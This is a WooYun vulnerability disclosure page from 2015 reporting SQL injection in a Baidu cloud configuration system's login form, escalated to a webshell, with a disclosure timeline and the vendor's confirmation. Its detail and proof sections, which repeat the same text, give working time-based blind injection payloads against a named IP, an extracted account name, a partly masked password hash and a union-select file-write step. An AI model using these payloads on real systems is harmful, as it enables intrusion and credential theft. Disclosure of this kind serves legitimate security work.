当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156722

漏洞标题:百度某系统SQL注入到Getshell

相关厂商:百度

漏洞作者: 玉林嘎

提交时间:2015-11-29 09:19

修复时间:2016-01-13 12:20

公开时间:2016-01-13 12:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-29: 细节已通知厂商并且等待厂商处理中
2015-11-29: 厂商已经确认,细节仅向厂商公开
2015-12-09: 细节向核心白帽子及相关领域专家公开
2015-12-19: 细节向普通白帽子公开
2015-12-29: 细节向实习白帽子公开
2016-01-13: 细节向公众公开

简要描述:

rt

详细说明:

http://103.235.46.165 百度云主防配置系统

http://103.235.46.165/index.php/Manage/login
post:username=test&password=test
{"status":0,"info":"用户密码不正确","data":false}


http://103.235.46.165/index.php/Manage/login
post:username=test'&password=test
{"status":0,"info":"用户名不存在","data":false}


登录点是 无论用户名密码对错都是用户密码不正确 但是' 出现用户名不存在
post:username=test' or sleep(1)#&password=test 延迟10秒 里面有8个用户好像

1.png


sqlmap可以跑 但是非常非常慢 几乎跑不出 跑半天一个字母没看到
登录处 那就直接查同表信息 登录即可

username=test' or username like '%' and sleep(1)#&password=test


延时 字段username 同理password也存在
先读个用户名出来

username=test' or username like 't%' and sleep(1)#&password=test


延迟了 依次注出用户 tanguangxi

username=tanguangxi' and password like '3%' and sleep(5)#&password=test


依次注出password
31c724c7395d4367dfa6d4**********
解出登录

2.png


后台有2个地方可上传任意文件 却不返回路径
有几处连接报错

3.png


猜测上传路径 无果
苦死很久 想一想回到登录位置 看下注入权限咋样 毕竟拿到路径了

5.png


不是root 但是不是root不代表没权限
直接union select写文件试试
order by出字段为9

6.png


4.png


7.png


QQ图片20151129011258.png


这台服务器应该还是挺重要的样子
shell几分钟断一次 以为是负载均衡 又不像 未深入

漏洞证明:

http://103.235.46.165 百度云主防配置系统

http://103.235.46.165/index.php/Manage/login
post:username=test&password=test
{"status":0,"info":"用户密码不正确","data":false}


http://103.235.46.165/index.php/Manage/login
post:username=test'&password=test
{"status":0,"info":"用户名不存在","data":false}


登录点是 无论用户名密码对错都是用户密码不正确 但是' 出现用户名不存在
post:username=test' or sleep(1)#&password=test 延迟10秒 里面有8个用户好像

1.png


sqlmap可以跑 但是非常非常慢 几乎跑不出 跑半天一个字母没看到
登录处 那就直接查同表信息 登录即可

username=test' or username like '%' and sleep(1)#&password=test


延时 字段username 同理password也存在
先读个用户名出来

username=test' or username like 't%' and sleep(1)#&password=test


延迟了 依次注出用户 tanguangxi

username=tanguangxi' and password like '3%' and sleep(5)#&password=test


依次注出password
31c724c7395d4367dfa6d4**********
解出登录

2.png


后台有2个地方可上传任意文件 却不返回路径
有几处连接报错

3.png


猜测上传路径 无果
苦死很久 想一想回到登录位置 看下注入权限咋样 毕竟拿到路径了

5.png


不是root 但是不是root不代表没权限
直接union select写文件试试
order by出字段为9

6.png


4.png


7.png


QQ图片20151129011258.png


这台服务器应该还是挺重要的样子
shell几分钟断一次 以为是负载均衡 又不像 未深入

修复方案:

修复

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-11-29 12:19

厂商回复:

非常感谢您的报告,问题已着手处理,感谢您对百度安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无